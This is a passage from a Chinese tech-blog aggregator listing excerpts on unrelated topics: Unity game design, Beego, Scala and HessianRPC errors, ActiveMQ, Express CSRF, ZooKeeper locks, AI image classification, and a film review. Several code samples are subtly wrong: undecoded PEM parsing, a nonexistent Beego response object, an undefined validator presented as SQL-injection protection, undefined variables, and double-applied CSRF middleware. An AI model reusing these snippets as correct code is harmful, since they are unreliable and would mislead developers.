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...10。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 [Unity] 包括场景互动与射击要素的俯视角闯关游戏Demo 一个简单的单机闯关小游戏,主角到达终点即为胜利,关卡中有两种怪物能够对主角造成伤害,此外还有灯、陷阱、宝箱等场景互动要素,主角从宝箱中获得枪后能够进行射击杀死怪物 游戏逻辑简述 主角 初始有三点血量,被怪物攻击或触发陷阱回收到伤害,血量为零时进行副本结算,成功到达终点后游戏胜利 当获得武器后可以发射子弹,子弹会沿直线飞行,碰到障碍物、怪物、墙壁后,子弹消失 怪物 石像鬼 无法移动,血量无限,攻击到主角会直接将主角杀死 AI:来回探照,探照到主角后将主角杀死 幽灵 初始九点血量,当被子弹攻击后根据角色攻击力扣除血量,血量为0后死亡,3秒后出生点符火 AI:出生后在一定范围内巡逻,被攻击后会追逐主角直到死亡 场景互动物体 灯光 灯每15秒自动亮一次,亮10秒钟自动熄灭,灯亮起时,灯光范围内的怪物死亡 主角操作开关改变当前房间灯的状态(关-》开,开-》关),状态改变后场景机制的灯重新计时。 减速陷阱 主角触发陷阱后会减少主角50%移动速度,主角离开陷阱后依然会持续5秒减速效果。 地刺陷阱 每间隔3秒会伸出尖刺,持续3秒,尖刺缩回,重新开始计时。当尖刺处于伸出状态时,主角在陷阱范围,每秒会受到1点伤害。 宝箱 打开宝箱后主角可以获得一把武器 实现简述 由于实现功能较为简单,因此只简述实现思路 类组织结构 使用彩色建模的思想组织类结构,类图: SceneObject 所有场景物体包括主角、怪物、互动物体等的抽象基类,仅有init()抽象方法 Character 拥有血量和攻击力的实体继承自Character,同时实现getATK()和beDamage()抽象方法用于处理攻击和受击逻辑 SceneItem 其他场景实体继承自SceneItem,无特殊属性和方法 Scene 场景管理类,能偶根据Json文件生成场景物体,保存了实体预制体,还拥有一个静态List和静态方法用于运行时向场景中添加新实体 InteractionMI 用于处理单个实体无法处理或不属于单个实体的逻辑,包括: 幽灵追踪主角时获取角色位置 帮助实体初始化定时器组件 减速陷阱是否可以回复主角速度 主角与灯、宝箱、武器的交互 DamageMI 包含静态方法Damage()专门用于处理伤害逻辑,方便后续服务器验证等逻辑 逻辑实现 主角 Protagonist类用于处理主角相关逻辑 受击逻辑 当主角不处于无敌状态,播放受击动画,扣除血量并进入无敌状态,定时器定时一秒后关闭无敌状态 交互逻辑 用户输入交互信号后,交由InteractionMI判断交互是否成功,返回交互信息,主角播放对应动画 武器逻辑 当主角获得武器后,主角身上保存武器的引用,与武器交互直接调用武器的对应方法(Drop(),Fire()) 结算逻辑 当主角HP小于等于0时,调用Scene的静态方法,请求场景结算 怪物 石像鬼 血量无限,没有受击逻辑,当检测组件检测到主角时,调用继承的Attack方法,攻击主角 幽灵 三种状态:die、patrol,chase 死亡状态下三秒后会在第一个导航点复活 巡逻状态下检测到主角会调用继承的Attack方法攻击主角 追逐状态下会每帧获得主角位置追逐主角 其他场景物品 灯光 初始化时添加计时器用于控制自动开关,用户交互后重置计时器 开启时使用一个锥形的检测器检测幽灵是否在范围内,如果在调用Damage对幽灵造成伤害 存在一个Box Collider,当玩家进入时,调用InteractionMI的方法,将InteractionMI保存的静态SwitchableLight引用置为自己,当玩家交互时这个引用不为null,则调用这个引用的SwitchableLight的ChangeLight方法完成开关灯的交互 减速陷阱 当玩家进入时,调用InteractionMI的方法,使其内置的静态_slowDownCount计数加一,并调用玩家的SetSpeedRatio方法使玩家减速 当玩家离开,设置计时器5秒后调用InteractionMI的方法,使其内置的静态_slowDownCount计数减一,当计数为零时才可以调用玩家的SetSpeedRatio方法使玩家回复正常速度 地刺陷阱 初始化时设置计时器,每三秒改变一次状态,当玩家进入,设置计时器每一秒对玩家造成一次伤害,当玩家离开,取消计时器 宝箱 内置public GameObject GWeapon;用于保存要生成的枪的预制体 当玩家第一次与宝箱交互,播放开宝箱动画,设置计时器1.2秒后根据预制体克隆一个武器,并将武器通过Scene的静态方法加入到Scene维护的SceneObject列表中,自身保存新生成的武器的引用 当武器生成后玩家再与宝箱交互则通过InteractionMI的方法将武器父节点设为玩家,玩家获得武器的引用,自身武器引用置为null 武器 内置private Transform _parent = null;用于保存父物体 Drop方法被调用时,若父物体不为空,设置自身刚体属性,设置速度使武器有抛出效果,设置计时器1秒后恢复到没有物理效果的状态,父物体置为空 Fire方法被调用,若能够开火,则生成并初始化一个子弹,生成时将保存的父物体的Transform给子弹,保证子弹能够向角色前方发射,开火后设置开火状态为不能开火,设置计时器0.5秒后恢复开火状态 当父物体信息为空,与其他交互逻辑类似,通过InteractionMI完成武器捡起的交互逻辑 子弹 初始化时设置初速度,启动定时器1秒后若没有销毁则自动销毁,若碰撞到幽灵,对幽灵造成伤害,其他碰撞销毁自己 本篇文章为转载内容。原文链接:https://blog.csdn.net/Zireael2019/article/details/126690910。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-03-11 12:57:03
768
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Beego
...er } // 获取用户列表 func (this UserController) GetUserList() { users := []User{} // 假设User是定义好的结构体 this.Data["json"] = users this.ServeJSON() } 在这个例子中,如果没有任何注释,其他开发者很难理解这个函数的具体作用。因此,添加必要的注释是非常重要的。 3.3 案例三:没有遵循版本控制的最佳实践 最后,我们来看看版本控制的问题。在Beego项目中,我们通常会使用Git来进行版本控制。不过,要是团队里的小伙伴不按套路出牌,比如压根不用分支管理,或者是提交信息简单得让人摸不着头脑,那后续的代码管理和维护可就头大了。举个例子: bash 不正确的提交信息 $ git commit -m "修改了一些东西" 这样的提交信息没有任何具体的内容,对于后续的代码审查和维护都是不利的。正确的做法应该是提供更详细的提交信息,比如: bash $ git commit -m "修复了用户列表接口的bug,增加了错误处理逻辑" 4. 如何改进? 既然我们已经了解了不遵守代码提交规则可能带来的问题,那么接下来我们该如何改进呢? 4.1 制定并遵守统一的编码规范 首先,我们需要制定一套统一的编码规范,并确保所有团队成员都严格遵守。比如说,我们可以定个规矩,所有的字符串都得用双引号包起来,变量的名字呢,就用驼峰那种一高一低的方式起名。这不仅可以提高代码的可读性,还能减少不必要的错误。 4.2 添加必要的注释 其次,我们应该养成良好的注释习惯。在编写代码的同时,应该为重要的逻辑和接口添加详细的注释。这样,即使后续维护人员不是原作者,也能快速理解代码的意图。例如: go // 获取用户列表 // @router /api/users [get] func (this UserController) GetUserList() { users := []User{} // 假设User是定义好的结构体 this.Data["json"] = users this.ServeJSON() } 4.3 遵循版本控制的最佳实践 最后,我们还需要遵循版本控制的最佳实践。比如说,当你用分支管理功能时,提交的信息可得越详细越好,这样以后自己或别人看代码时才会更容易,审查和维护起来也更轻松。例如: bash 正确的提交信息 $ git commit -m "修复了用户列表接口的bug,增加了错误处理逻辑" 5. 结语 总之,代码提交规则的严格遵守对于Beego项目的成功至关重要。虽然开始时可能会觉得有点麻烦,但习惯了之后,你会发现这能大大提升团队的工作效率和代码质量。希望各位开发者能够认真对待这个问题,共同维护一个高质量的代码库。
2024-12-26 15:33:14
93
红尘漫步
HessianRPC
...理地处理此类异常,给用户提供明确的错误信息提示。 java try { HelloService service = (HelloService) factory.create(HelloService.class, "http://localhost:8080/hello"); } catch (HessianConnectionException | MalformedURLException e) { System.err.println("无法连接到远程服务,请检查URL和网络状况:" + e.getMessage()); } 5. 总结 在我们的编程旅程中,理解并妥善处理像"HessianURLException: 创建或处理URL时发生错误"这样的异常,有助于提升系统的稳定性和健壮性。对于HessianRPC来说,每一个细节都可能影响到远程调用的成功与否。所以呢,真要解决这类问题,归根结底就俩大法宝:一个是牢牢掌握的基础知识,那叫一个扎实;另一个就是严谨到家的编码习惯了,这两样可真是缺一不可的关键所在啊!伙计们,让我们一起瞪大眼睛,鼓起勇气,把HessianRPC变成我们手里的神兵利器,让它在开发分布式应用时,帮我们飞速提升效率,让开发过程更轻松、更给力!
2023-10-16 10:44:02
532
柳暗花明又一村
Scala
...记录错误日志,甚至向用户提供友好的提示信息,告知他们输入的URL存在格式问题,并建议正确的格式: scala try { val url = new java.net.URL("http://example.com") println(s"URL is valid: $url") } catch { case e: java.net.MalformedURLException => println("MalformedURLException occurred. Please ensure your URL is properly formatted.") // 记录错误日志 import java.io.PrintWriter import java.io.StringWriter val sw = new StringWriter() val pw = new PrintWriter(sw) e.printStackTrace(pw) println(sw.toString) } 进阶技巧:自定义URL验证函数 5. 自定义验证逻辑 为了进一步提高代码的可读性和复用性,我们可以封装上述功能,创建一个专门用于验证URL的函数。该函数不仅会检查URL格式,还会执行一些额外的安全检查,比如防止SQL注入等恶意行为: scala import java.net.URL def validateUrl(urlString: String): Option[URL] = { if (!isValidUrl(urlString)) { None } else { try { Some(new URL(urlString)) } catch { case _: MalformedURLException => None } } } // 测试 validateUrl("http://example.com") match { case Some(url) => println(s"Valid URL: $url") case None => println("Invalid URL.") } 结论 通过本文的学习,希望大家对Scala中处理URL相关的问题有了更深刻的理解。记住,预防总是优于治疗。在写代码的时候,提前想到可能会出的各种岔子,并且想办法避开它们,这样我们的程序就能更稳当、更靠谱了。当然,面对MalformedURLException这样的常见异常,保持冷静、合理应对同样重要。希望今天的分享能帮助大家写出更好的Scala代码! 最后,别忘了在日常开发中多实践、多总结经验,编程之路虽充满挑战,但每一步都值得骄傲。祝大家代码愉快!
2024-12-19 15:45:26
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素颜如水
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...32。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 昨天看了这部片子,感觉一般,但还是一部可看的片子,不闷。 女杀手失忆之前挺酷的,之后感觉太柔弱了。 三个男主角都不错,不过方中信的形象应该更强悍一些才好,而千叶真一象极了邻居家的老大伯。 《孙子兵法》第六计 虚实计 …… 攻而必取者,攻其所不守也。 守而必固者,守其所必攻也。 故善攻者,敌不知其所守; 善守者,敌不知其所攻。 …… 进而不可御者,冲其虚也; 退而不可追者,速而不可及也。 故我欲战,敌虽高垒深沟,不得不与我战者,攻其所必救也; 我不欲战,虽画地而守之,敌不得与我战者,乖其所之也。 故形人而我无形,则我专而敌分。 …… 附录: 中文名称:第六计 英文名称:Explosive City 资源类型:DVDScr 发行时间:2004年11月04日 电影导演:梁德森 电影演员: 任达华 方中信 千叶真一 白田久子 彭敬慈 萧正楠 地区:香港 语言:普通话 简介: 转自TLF论坛 片名:Explosive City 译名:第六计(又名爆裂都市) 导演:梁德森 主演:任达华 方中信 千叶真一 白田久子 彭敬慈 萧正楠 时间:90分钟 类型:动作 上映日期:2004-11-4 官方网站:http://www.bakuretsu.jp/ 语言:国语 字幕:外挂中/英 剧情: (转自世纪环球在线) 某国际机场,来参加国际会议的邻埠高级官员容大刚正在与众多记者畅谈参会感 想,突然,一个神情冷漠的美貌女子从人群中闪出,只见她拔出手枪,对准容大刚连 开三枪,场内一片大乱。 机场刺杀案引起了警方极大的震惊,派来高级警务人员姚天明(方中信饰)协助 特警队张志诚(任达华饰)警司侦破此案。经过排查,行刺者是某国际恐怖组织的成员, 名叫北条真理(白田久子饰)。材料显示:北条真理生于日本的一个幸福的家庭,三 岁时被某国际恐怖组织首领“奥多桑”(千叶真一饰)看中,把她掳走,通过洗脑、 训练,使她成为恐怖组织的高级杀手。这次行动,她以记者身份潜入机场,射伤了目 标,自己也因此受伤被俘。 就在警方全力破案的同时,某国际恐怖组织的首领“奥多桑”带领部下悄悄潜入 该城,显然,他对上一次行的刺杀行动很不满意,准备亲自上阵了。在他的指挥下, 恐怖分子残忍的杀死了姚天明的太太,并绑架了他的儿子,借此要挟姚天明杀死北条 真理,姚天明在万般无奈中,执行了“奥多桑”的命令,“击毙”、劫持了北条真理, 一步步走进“奥多桑”精心设下的圈套,并因此被警方通缉。 姚天明一边躲避着警方的追捕,一边苦苦寻找“奥多桑”的足迹,寻机解救被绑 架的儿子;幸免于难的北条真理与姚天明从对立变成唇齿相依;在追击中渐渐恢复了 记忆,认出了“奥多桑”安插在警务队伍中的亲信——张志诚警司;令他们百思不得 其解的是,张警司本身就是负责保护容大刚的警卫人员,由他执行刺杀活动,不是更 稳妥吗?为什麼还要派遣北条真理进行明目张胆的刺杀活动?随着事态的发展,无意 中,姚天明在“奥多桑”钟爱的《孙子兵法》一书中发现了更大的秘密——可怕的第 六计…… 转载于:https://www.cnblogs.com/Silence/archive/2004/11/08/61332.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30240349/article/details/98266532。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-10 09:20:27
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Beego
...不仅让网站的安全性和用户体验大打折扣,还经常搞得开发者们焦头烂额。特别是当你使用Beego框架时,这个问题可能会更加复杂。 首先,让我们来简单了解一下SSL/TLS证书是什么。SSL(Secure Sockets Layer)和TLS(Transport Layer Security)就像是网络世界的保安,专门负责在你上网的时候保护你的数据不被坏人偷走或篡改。简单来说,就是让你在网上交流时更安全。HTTPS其实就是HTTP的升级版,它在原来的HTTP上加了个SSL/TLS的锁,这样一来,咱们在网上发送的信息就变得安全多了,别人偷不走。 为什么我们需要关注这些问题呢?因为随着网络安全意识的提升,越来越多的用户开始注意网站是否采用HTTPS进行数据传输。对开发者而言,搞清楚怎么正确设置SSL/TLS证书,防止证书验证出问题,这可是提升应用安全性的关键一步。 二、Beego中的HTTPS配置基础 在Beego框架中,配置HTTPS其实并不复杂。但首先,你需要确保你的服务器已经安装了有效的SSL/TLS证书。这通常涉及到购买或者自签名证书的过程,这里不深入讨论。接下来,我们看看如何在Beego中配置HTTPS。 示例代码:基本HTTPS配置 go package main import ( "github.com/astaxie/beego" ) func main() { // 设置监听端口 beego.RunConfig.Listen.HTTPPort = 8080 // 配置HTTPS beego.RunConfig.Listen.HTTPSPort = 8443 beego.RunConfig.Listen.HTTPSKey = "path/to/private.key" beego.RunConfig.Listen.HTTPSCert = "path/to/certificate.crt" // 启动Beego应用 beego.Run() } 上面这段代码展示了如何在Beego中配置HTTPS的基本步骤。嘿,你知道嘛,HTTPSPort就是用来设置HTTPS服务要监听的端口号的。至于HTTPSKey和HTTPSCert嘛,它们分别告诉你私钥文件和证书文件藏在哪里。 三、常见问题及解决策略 尽管配置看似简单,但在实际操作中却可能遇到各种各样的问题。下面我们就来看看几个常见的问题及其解决方案。 3.1 证书验证失败 问题描述:当客户端尝试连接到你的HTTPS服务时,可能会因为证书验证失败而导致连接被拒绝。 原因分析:这通常是因为客户端无法信任你的服务器证书。可能是由于证书过期、自签名证书未被客户端信任等原因造成的。 解决方案: - 更新证书:如果是证书过期问题,确保及时更新你的SSL/TLS证书。 - 导入证书到信任库:如果使用的是自签名证书,需要将该证书导入到客户端的信任库中。 示例代码:检查证书有效期 go package main import ( "crypto/x509" "fmt" "io/ioutil" "time" ) func main() { pemData, err := ioutil.ReadFile("path/to/certificate.crt") if err != nil { fmt.Println("Error reading certificate file:", err) return } cert, err := x509.ParseCertificate(pemData) if err != nil { fmt.Println("Error parsing certificate:", err) return } // 检查证书有效期 if cert.NotAfter.Before(time.Now()) { fmt.Println("证书已过期!") } else { fmt.Println("证书有效!") } } 这段代码可以帮助你检查证书的有效期限,从而避免因证书过期引发的问题。 四、进阶探索 高级配置与最佳实践 除了上述基础配置外,还有一些高级配置和最佳实践可以进一步提高你的HTTPS服务的安全性和性能。 4.1 使用Let's Encrypt获取免费证书 推荐理由:Let's Encrypt提供了完全免费且自动化的SSL/TLS证书服务,非常适合个人开发者和小型项目使用。 实施方法:你可以使用Certbot等工具自动化地从Let's Encrypt获取证书,并自动续期。 4.2 HTTP严格传输安全(HSTS) 推荐理由:启用HSTS可以增强网站的安全性,防止中间人攻击。 实施方法:只需在响应头中添加Strict-Transport-Security字段即可。 示例代码:设置HSTS响应头 go package main import ( "github.com/astaxie/beego" ) func init() { beego.InsertFilter("", beego.BeforeRouter, func() { beego.resp.Header().Set("Strict-Transport-Security", "max-age=31536000; includeSubDomains") }) } func main() { beego.Run() } 以上就是今天分享的内容啦!希望大家能够通过这篇文章更好地理解和解决在Beego框架中遇到的SSL/TLS证书问题。如果你有任何疑问或建议,欢迎随时交流讨论! --- 希望这篇内容能够帮助你理解并解决Beego中的SSL/TLS证书问题。如果有任何其他问题或需要进一步的帮助,请随时告诉我!
2024-11-14 16:21:52
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秋水共长天一色
ActiveMQ
...系到系统的响应速度、用户体验以及整体稳定性。 消费者性能不佳的表现形式多种多样,其中最常见的是消息堆积和延迟问题。这些问题可能会导致用户等待时间过长,甚至出现服务不可用的情况。因此,了解并掌握如何监控这些性能指标是非常必要的。 2. 消息堆积与延迟 它们是什么? 首先,让我们来了解一下消息堆积和延迟这两个概念。 - 消息堆积:指的是消息从生产者发送到消费者接收之间的时间差变大,导致队列中的消息数量不断增加。这种情况通常发生在消费者的处理能力不足以应对生产者的发送速率时。 - 延迟:是指消息从生产者发送到消费者接收到这条消息之间的总时间。延迟包括了网络传输时间、处理时间和队列等待时间等。 想象一下,如果你正在等公交车,而公交车却迟迟不来(消息堆积),或者虽然来了但你需要等很长时间才能上车(延迟),这肯定会让你感到沮丧。这就跟分布式系统里的事儿一样,要是消费者手慢点,消息堆积起来,整个系统就得遭殃,性能直线下降。 3. 如何监控消费者性能? 现在我们知道了消息堆积和延迟的重要性,那么接下来的问题就是:如何有效地监控它们呢? 3.1 使用JMX监控 ActiveMQ提供了Java Management Extensions (JMX) 接口,允许我们通过编程方式访问和管理其内部状态。这里有一个简单的例子,展示如何使用JMX来获取当前队列中的消息堆积情况: java import javax.management.MBeanServer; import javax.management.ObjectName; import java.lang.management.ManagementFactory; public class ActiveMQMonitor { public static void main(String[] args) throws Exception { MBeanServer mbs = ManagementFactory.getPlatformMBeanServer(); ObjectName name = new ObjectName("org.apache.activemq:type=Broker,brokerName=localhost"); // 获取队列名称 String queueName = "YourQueueName"; ObjectName queueNameObj = new ObjectName("org.apache.activemq:type=Queue,destinationName=" + queueName); // 获取消息堆积数 Integer messageCount = (Integer) mbs.getAttribute(queueNameObj, "EnqueueCount"); System.out.println("Current Enqueue Count for Queue: " + queueName + " is " + messageCount); } } 3.2 日志分析 除了直接通过API访问数据外,我们还可以通过分析ActiveMQ的日志文件来间接监控消费者性能。比如说,我们可以通过翻看日志里的那些报错和警告信息,揪出隐藏的问题,然后赶紧采取行动来优化一下。 4. 优化策略 既然我们已经掌握了如何监控消费者性能,那么接下来就需要考虑如何优化它了。下面是一些常见的优化策略: - 增加消费者数量:当发现消息堆积时,可以考虑增加更多的消费者来分担工作量。 - 优化消费者逻辑:检查消费者处理消息的逻辑,确保没有不必要的计算或等待,尽可能提高处理效率。 - 调整消息持久化策略:根据业务需求选择合适的消息持久化级别,既保证数据安全又不过度消耗资源。 5. 结语 持续改进 监控消费者性能是一个持续的过程。随着系统的不断演进,新的挑战也会随之而来。因此,我们需要保持灵活性,随时准备调整我们的监控策略和技术手段。希望这篇文章能给你带来一些启示,让你在面对类似问题时更加从容不迫! --- 好了,以上就是我对于“监控消费者性能:消息堆积与延迟分析”的全部分享。希望能给你一些启发,让你的项目变得更高效、更稳当!要是你有任何问题或者想深入了解啥的,尽管留言,咱们一起聊一聊。
2024-10-30 15:36:10
83
山涧溪流
NodeJS
...OST、PUT等涉及用户数据变更的操作时,可以考虑集成csurf中间件以验证跨站点请求伪造(CSRF)令牌: bash $ npm install csurf javascript const csurf = require('csurf'); // 配置CSRF保护 const csrf = csurf(); app.use(csurf({ cookie: true })); // 将CSRF令牌存储到cookie中 // 处理登录API POST请求 app.post('/login', csrf(), (req, res) => { const { email, password, _csrfToken } = req.body; // 注意获取CSRF token if (validateCredentials(email, password)) { // 登录成功 } else { res.status(401).json({ error: 'Invalid credentials' }); } }); 四、总结与展望 在使用Express进行API开发时,确保安全性至关重要。通过合理的CSP、CORS策略、CSRF防护以及利用其他如JWT(Json Web Tokens)的身份验证方法,我们的API不仅能更好地服务于前端应用,还能有效地抵御各类常见的网络攻击,确保数据传输的安全性。 当然,随着业务的发展和技术的进步,我们会面临更多安全挑战和新的解决方案。Node.js和它身后的生态系统,最厉害的地方就是够灵活、够扩展。这就意味着,无论我们面对多复杂的场景,总能像哆啦A梦找百宝箱一样,轻松找到适合的工具和方法来应对。所以,对咱们这些API开发者来说,要想把Web服务做得既安全又牛逼,就得不断学习、紧跟技术潮流,时刻关注行业的新鲜动态。这样一来,咱就能打造出更棒、更靠谱的Web服务啦!
2024-02-13 10:50:50
80
烟雨江南-t
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...03。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 文章目录 AI垃圾分类 产品描述 垃圾分类-数据分析和预处理 代码结构 resnext101网络架构 垃圾分类-训练 垃圾分类-评估 垃圾分类-在线预测 1. 你是什么垃圾? 2. 告诉你,你是什么垃圾 3. 使用它告诉你,你是啥垃圾 AI垃圾分类 产品描述 如何进行垃圾分类已经成为居民生活的灵魂拷问,然而AI在垃圾分类的应用可以成为居民的得力助手。 针对目前业务需求,我们设计一款APP,来支撑我们的业务需求,主要提供文本,语音,图片分类功能。AI智能垃圾分类主要通过构建基于深度学习技术的图像分类模型,实现垃圾图片类别的精准识别重点处理图片分类问题。 采用深圳市垃圾分类标准,输出该物品属于可回收物、厨余垃圾、有害垃圾和其他垃圾分类。 垃圾分类-数据分析和预处理 整体数据探测 分析数据不同类别分布 分析图片长宽比例分布 切分数据集和验证集 数据可视化展示(可视化工具 pyecharts,seaborn,matplotlib) 代码结构 ├── data│ ├── garbage-classify-for-pytorch│ │ ├── train│ │ ├── train.txt│ │ ├── val│ │ └── val.txt│ └── garbage_label.txt├── analyzer│ ├── 01 垃圾分类_一级分类 数据分布.ipynb│ ├── 02 垃圾分类_二级分类 数据分析.ipynb│ ├── 03 数据加载以及可视化.ipynb│ ├── 03 数据预处理-缩放&裁剪&标准化.ipynb│ ├── garbage_label_40 标签生成.ipynb├── models│ ├── alexnet.py│ ├── densenet.py│ ├── inception.py│ ├── resnet.py│ ├── squeezenet.py│ └── vgg.py├── facebook│ ├── app_resnext101_WSL.py│ ├── facebookresearch_WSL-Images_resnext.ipynb│ ├── ResNeXt101_pre_trained_model.ipynb├── checkpoint│ ├── checkpoint.pth.tar│ ├── garbage_resnext101_model_9_9547_9588.pth├── utils│ ├── eval.py│ ├── json_utils.py│ ├── logger.py│ ├── misc.py│ └── utils.py├── args.py├── model.py├── transform.py├── garbage-classification-using-pytorch.py├── app_garbage.py data: 训练数据和验证数据、标签数据 checkpoint: 日志数据、模型文件、训练过程checkpoint中间数据 app_garbage.py:在线预测服务 garbage-classification-using-pytorch.py:训练模型 models:提供各种pre_trained_model ,例如:alexlet、densenet、resnet,resnext等 utils:提供各种工具类,例如;重新flask json 格式,日志工具类、效果评估 facebook: 提供facebook 分类器神奇的分类预测和数据预处理 analyzer: 数据分析和数据预处理模块 transform.py:通过pytorch 进行数据预处理 model.py: resnext101 模型集成以及调整、模型训练和验证函数封装 resnext101网络架构 pre_trained_model resnext101 网络架构原理 基于pytorch 数据处理、resnext101 模型分类预测 在线服务API 接口 垃圾分类-训练 python garbage-classification-using-pytorch.py \--model_name resnext101_32x16d \--lr 0.001 \--optimizer adam \--start_epoch 1 \--epochs 10 \--num_classes 40 model_name 模型名称 lr 学习率 optimizer 优化器 start_epoch 训练过程断点重新训练 num_classes 分类个数 垃圾分类-评估 python garbage-classification-using-pytorch.py \--model_name resnext101_32x16d \--evaluate \--resume checkpoint/checkpoint.pth.tar \--num_classes 40 model_name 模型名称 evaluate 模型评估 resume 指定checkpoint 文件路径,保存模型以及训练过程参数 垃圾分类-在线预测 python app_garbage.py \--model_name resnext101_32x16d \--resume checkpoint/garbage_resnext101_model_2_1111_4211.pth model_name 模型名称 resume 训练模型文件路径 模型预测 命令行验证和postman 方式验证 举例说明:命令行模式下预测 curl -X POST -F file=@cat.jpg http://ip:port/predict 最后,我们从0到1教大家掌握如何进行垃圾分类。通过本学习,让你彻底掌握AI图像分类技术在我们实际工作中的应用。 1. 你是什么垃圾? 2. 告诉你,你是什么垃圾 3. 使用它告诉你,你是啥垃圾 本篇文章为转载内容。原文链接:https://blog.csdn.net/shenfuli/article/details/103008003。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-10 23:48:11
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ZooKeeper
...限制对特定节点的访问权限。 4. 实践案例一 分布式锁 让我们从一个最常见但也非常实用的例子开始——分布式锁。在分布式系统里,经常会发生好几个程序或者线程抢着要用同一个资源的热闹场面。这时,就需要一个可靠的分布式锁来确保资源的正确使用。 4.1 分布式锁的实现 java import org.apache.zookeeper.CreateMode; import org.apache.zookeeper.ZooDefs; import org.apache.zookeeper.ZooKeeper; public class DistributedLock { private ZooKeeper zookeeper; private String lockPath; public DistributedLock(ZooKeeper zookeeper, String lockPath) { this.zookeeper = zookeeper; this.lockPath = lockPath; } public void acquireLock() throws Exception { // 创建临时顺序节点 String lockNode = zookeeper.create(lockPath + "/lock-", new byte[0], ZooDefs.Ids.OPEN_ACL_UNSAFE, CreateMode.EPHEMERAL_SEQUENTIAL); System.out.println("Created lock node: " + lockNode); // 获取所有子节点并排序 List children = zookeeper.getChildren(lockPath, false); Collections.sort(children); // 检查是否为最小节点,如果是则获取锁 if (children.get(0).equals(lockNode.substring(lockPath.length() + 1))) { System.out.println("Acquired lock"); return; } // 否则,等待前一个节点释放锁 String previousNode = children.get(Collections.binarySearch(children, lockNode.substring(lockPath.length() + 1)) - 1); System.out.println("Waiting for lock node: " + previousNode); zookeeper.exists(lockPath + "/" + previousNode, true); } public void releaseLock() throws Exception { // 删除临时节点 zookeeper.delete(lockPath + "/" + lockNode.substring(lockPath.length() + 1), -1); } } 这个简单的实现展示了如何使用ZooKeeper来创建临时顺序节点,并通过监听前一个节点的状态变化来实现分布式锁的功能。在这过程中,我们不仅学会了怎么用ZooKeeper的基本功能,还感受到了它在实际操作中到底有多牛掰。 5. 实践案例二 配置中心 接下来,我们来看看另一个常见的应用场景——配置中心。在大型系统中,配置管理往往是一项繁琐而重要的工作。而ZooKeeper正好为我们提供了一个理想的解决方案。 5.1 配置中心的实现 假设我们有一个配置文件,其中包含了一些关键的配置信息,例如数据库连接字符串、日志级别等。我们可以把配置信息存到ZooKeeper里,然后用监听器让各个节点实时更新,这样就省心多了。 java import org.apache.zookeeper.WatchedEvent; import org.apache.zookeeper.Watcher; import org.apache.zookeeper.ZooKeeper; public class ConfigCenter implements Watcher { private ZooKeeper zookeeper; private String configPath; public ConfigCenter(ZooKeeper zookeeper, String configPath) { this.zookeeper = zookeeper; this.configPath = configPath; } public void start() throws Exception { // 监听配置节点 zookeeper.exists(configPath, this); } @Override public void process(WatchedEvent event) { if (event.getType() == Event.EventType.NodeDataChanged) { try { byte[] data = zookeeper.getData(configPath, this, null); String config = new String(data, "UTF-8"); System.out.println("New configuration: " + config); } catch (Exception e) { e.printStackTrace(); } } } } 这段代码展示了如何创建一个配置中心,通过监听配置节点的变化来实时更新配置信息。这种机制不仅提高了系统的灵活性,也大大简化了配置管理的工作量。 6. 总结与展望 通过上面两个具体的案例,我们看到了ZooKeeper在实际项目中的广泛应用。无论是分布式锁还是配置中心,ZooKeeper都能为我们提供稳定可靠的支持。当然,ZooKeeper还有许多其他强大的功能等待我们去发掘。希望大家在今后的工作中也能多多尝试使用ZooKeeper,相信它一定能给我们的开发带来意想不到的帮助! --- 希望这篇文章能让你对ZooKeeper有更深刻的理解,并激发你进一步探索的兴趣。如果你有任何问题或者想了解更多细节,请随时留言交流!
2025-02-11 15:58:01
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心灵驿站
SpringCloud
...// 假设我们有一个全局唯一的锁ID生成器 String lockId1 = generateUniqueLockId("ServiceA", "Resource1"); String lockId2 = generateUniqueLockId("ServiceB", "Resource2"); // 获取锁按照全局排序规则 RLock lock1 = redissonClient.getFairLock(lockId1); RLock lock2 = redissonClient.getFairLock(lockId2); (2)超时与重试机制:为获取锁的操作设置合理的超时时间,一旦超时则释放已获得的锁并重新尝试,可以有效防止死锁长期存在。 java if (lock.tryLock(10, TimeUnit.SECONDS)) { try { // 处理业务逻辑 } finally { lock.unlock(); } } else { log.warn("Failed to acquire the lock within the timeout, will retry later..."); // 重新尝试或其他补偿措施 } (3)死锁检测与解除:某些高级的分布式锁实现,如Redlock算法,提供了内置的死锁检测和自动解锁机制,能够及时发现并解开死锁,从而保障系统的一致性。 5. 结语 